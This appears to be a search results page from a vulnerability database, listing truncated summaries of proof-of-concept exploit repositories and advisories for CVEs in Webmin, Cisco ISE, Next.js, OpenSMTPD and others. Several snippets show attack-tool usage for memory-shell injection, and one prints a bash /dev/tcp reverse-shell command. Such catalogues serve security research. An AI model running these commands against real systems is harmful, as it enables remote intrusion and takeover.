Lucene search
+L

1208 matches found

Kitploit
Kitploit
added 2026/09/18 10:12 a.m.9 views

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 远程命令执行漏洞利用(CVE-2012-2982) 概述 本仓库包含 CVE-2012-2982 的概念验证(PoC)利用脚本,该漏洞是一个影响 Webmin 1.590 及更早版本 的远程认证命令执行漏洞。该漏洞位于 /file/show.cgi 端点,攻击者可以通过在被操纵的请求中注入特殊字符(例如 | 管道符号)来执行任意命令。 本 PoC 仅用于 教育和安全研究目的 。未经许可利用他人系统是非法的、不道德的。 CVE-2012-2982 详情 描述 Webmin 是一款流行的基于 Web 的系统管理工具,用于管理基于 Unix 的系统。在 1.590...

6.5CVSS6.7AI score0.62181EPSS
SaveExploits10References1
Kitploit
Kitploit
added 2026/09/18 9:39 a.m.9 views

GL.iNet-Multiple-Vulnerabilities

GL.iNet 多个漏洞 本仓库包含以下漏洞的利用程序: CVE-2023-46454: 在固件版本为 v4.3.7 的 GL.iNET GL-AR300M 路由器中,可以通过在包信息功能中构造特制的包名来注入任意 shell 命令。 CVE-2023-46455: 在固件版本为 v4.3.7 的 GL.iNET GL-AR300M 路由器中,可以通过 OpenVPN 客户端文件上传功能中的路径遍历攻击写入任意文件。 CVE-2023-46456: 在固件版本为 v3.216 的 GL.iNET GL-AR300M 路由器中,可以通过 OpenVPN 客户端文件上传功能注入任意 shel...

9.8CVSS7.9AI score0.46966EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/18 4:57 a.m.11 views

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE 针对 Cisco ISE API 的 CVE-2025-20281 RCE 的未授权 Python PoC CVE-2025-20281 未授权 PoC 一个极简的 Python 概念验证脚本,通过向 InternalUser 资源中注入任意 shell 命令,利用 Cisco ISE 的 ERS API 中的未授权 RCE(CVE-2025-20281)。 警告: 仅在您拥有或获得明确授权的系统上运行。滥用此工具是违法的。 特性 无需身份验证 支持两种模式: --whoami:在目标上运行 whoami 并显示 HTTP 响...

10CVSS8.8AI score0.9723EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/18 3:38 a.m.7 views

CVE-2022-22947

CVE-2022-22947 内存马注入 支持注入三类内存马 root@kitploit: Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url 以哥斯拉马注入为例 root@kitploit: python3 -t godzilla -u http://127.0.0.1 参考文章...

10CVSS8.1AI score0.98253EPSS
SaveExploits54
Kitploit
Kitploit
added 2026/09/18 3:21 a.m.6 views

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin 简介 CVE-2024-36401 批量探测和利用,支持自定义内存马注入 1. 可批量探测 2. 对 url 地址后端已进行过滤(只管丢 url 就行) 3. 可以自定义生成内存马进行注入(默认的内存马注入已添加注入器类名: java.lang.test 「目的是为了JDK11下的defineAnonymousClass绕过」) 安装 下载源码执行 root@kitploit: mvn package 将 target 下的jar包放在 woodpecker-framework 下的 plugin 文件夹中...

9.8CVSS8.4AI score0.99813EPSS
SaveExploits26References3
Kitploit
Kitploit
added 2026/09/18 3:14 a.m.11 views

ForgottenButNotGone

Olvidados pero no desaparecidos Este repositorio contiene scripts de prueba de concepto para las vulnerabilidades presentadas en la charla "Olvidados pero no desaparecidos: RCE no autenticados y LPE en servicios Linux heredados" de Black Hat USA 2026 y DEF CON 34. CVE-2026-28372 Escalada de...

9.8CVSS7.9AI score0.1393EPSS
SaveExploits13References1
Kitploit
Kitploit
added 2026/09/18 12:15 a.m.8 views

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 漏洞扫描与利用工具,针对 Next.js 应用程序的远程代码执行漏洞。支持批量检测、命令执行、哥斯拉内存马注入以及反弹 Shell 功能。 ⚠️ 本工具仅供安全研究和授权测试使用,请勿用于非法用途。 特性 多目标扫描 :支持单个 URL、文件列表(每行一个 URL)以及包含多个 .txt 文件的文件夹。 多线程并发 :可自定义线程数,提升扫描效率。 漏洞验证 :通过计算随机数乘积的方式验证漏洞是否存在。 命令执行 :在漏洞目标上执行任意系统命令(支持 Linux 和 Windows)。...

10CVSS8AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/17 11:52 p.m.10 views

CVE-2025-13780

CVE-2025-13780:pgAdmin 4 = 8.14 RCE 扫描器 针对 CVE-2025-13780 的全面漏洞扫描器,该漏洞是 pgAdmin 4 版本 ≤ 8.14 中的一个远程代码执行 RCE 漏洞。 🔍 漏洞详情 该漏洞存在于 pgAdmin 4 的 恢复 功能中。应用程序尝试使用正则表达式阻止危险 shell 命令(以 \ 开头)。但是,此检查可以被绕过。 易受攻击的正则表达式 :^|\n \t\ 绕过方法 : 1. UTF-8 BOM :预置 \xef\xbb\xbf 可使正则表达式匹配失败 2. CRLF 注入 :在反斜杠前使用 \n\r 而不是 \n 📦 安...

9.1CVSS8.4AI score0.00943EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/17 11:35 p.m.11 views

spring_cloud_gateway_memshell

CVE-2022-22947 memshell 此脚本不完善,仅作学习用途,请勿非法使用 基于 c0ny1 大佬的博客做的学习脚本,可写入netty和spring内存马. 测试环境为 vulhub root@kitploit: eg:xx.py http://127.0.0.1:8080 netty whoami...

10CVSS8.2AI score0.98253EPSS
SaveExploits54References1
Kitploit
Kitploit
added 2026/09/17 9:38 p.m.11 views

poc-rebar3

Rebar3 Shell 注入(CVE-2020-13802) 概念验证 root@kitploit: git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean 致谢 Alexey Pronin @vulnbe 参考 Rebar3 漏洞分析 漏洞修复 PR CVE-2020-13802 CWE-78:OS 命令中特殊元素的不当中和('OS 命令注入')...

10CVSS8.5AI score0.0675EPSS
SaveExploits3References1
Kitploit
Kitploit
added 2026/09/17 8:42 p.m.11 views

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中,影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令,例如“sleep 66”。 如何使用? python3 getShell.py 如果需要反弹shell,可以这样运行: python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容,如RCPT to等(如有需要)。 更多详细解释请参阅这篇文章:...

10CVSS8.7AI score0.98972EPSS
SaveExploits27
NVD
NVD
added 2026/09/17 5:16 p.m.6 views

CVE-2026-54575

mport is the MidnightBSD Package Manager. Prior to 2.7.8, privileged package fetch and cache-cleaning operations used race-prone path handling across libmport/fetch.c, libmport/clean.c, libmport/util.c, libmport/bundlereadinstallpkg.c, libmport/deleteprimative.c, and...

5.8CVSS0.00117EPSS
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/17 4:55 p.m.14 views

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API 漏洞说明:在 SaltStack Salt 至 3002 版本中发现了一个问题。当 SSH 客户端启用时,向 Salt API 发送特制的 Web 请求可能导致 shell 注入。关于此漏洞的详细信息可在此处找到: https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities 为了练习和学习目的,我决定创建一个存在漏洞的实例并利用它。...

9.8CVSS7.9AI score0.99585EPSS
SaveExploits4References1
Github Security Blog
Github Security Blog
added 2026/09/17 2:50 p.m.6 views

@cyclonedx/cyclonedx-npm: Shell Injection via Unsanitized --workspace Argument on Windows

Summary A Windows-specific command injection vulnerability exists in @cyclonedx/cyclonedx-npm when the CLI is invoked with the --workspace option. User-supplied --workspace values can be passed to a shell command without proper neutralization on the Windows fallback execution path, enabling...

8.5CVSS0.00149EPSS
SaveExploits0References5Affected Software1
CVE
CVE
added 2026/09/17 2:35 p.m.14 views

CVE-2026-71538

@cyclonedx/cyclonedx-npm prior to 6.0.0 is vulnerable to a Windows-specific shell injection in the fallback execution path of src/npmRunner.ts, used when npm_execpath does not resolve the npm CLI. An untrusted value passed to the --workspace option is incorporated into a shell command without san...

8.5CVSS0.00149EPSS
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/17 11:43 a.m.8 views

vulnx

VulnX Vulnx 🕷️ 是一个智能机器人自动Shell注入器,能够检测多种类型CMS的漏洞...

5.8AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/17 1:43 a.m.8 views

poc-yaws-cgi-shell-injection

Yaws Web 服务器中的操作系统命令注入(CVE-2020-24916) 概念验证 构建测试镜像: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

10CVSS8.5AI score0.17374EPSS
SaveExploits3References1
Kitploit
Kitploit
added 2026/09/17 12:57 a.m.10 views

spinnaker-poc

POCs de Vulnerabilidades de Spinnaker Demostraciones de prueba de concepto para CVE-2026-32604 y CVE-2026-32613, dos vulnerabilidades de severidad 10.0 en Spinnaker que permiten ejecución de código y robo de credenciales de la nube de producción. Video explicativo sobre cómo usar estos POCs Blog...

9.9CVSS5.9AI score0.00606EPSS
SaveExploits1
CVE
CVE
added 2026/09/16 9:46 p.m.14 views

CVE-2026-92580

AVideo through 29.0 in the CloneSite plugin is vulnerable to stored OS command injection. In plugin/CloneSite/cloneClient.json.php (~line 270), the stored SSH password is substituted into the command sshpass -p '{password}' rsync ... via a plain str_replace with no escaping, so a single quote bre...

8.8CVSS0.01107EPSS
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/16 1:30 p.m.8 views

CVE-2026-30225-OliveTin-RCE

OliveTin — ejecución de acciones no autenticada → RCE + CVE-2026-30225 PoC para escalada de privilegios / ejecución remota de código contra instancias de OliveTin que se ejecutan con los valores predeterminados de invitado incluidos. Verificado contra OliveTin 3000.10.0 ejecutándose como root HTB...

5.3CVSS6.5AI score0.00414EPSS
SaveExploits2References2
Rows per page
Query Builder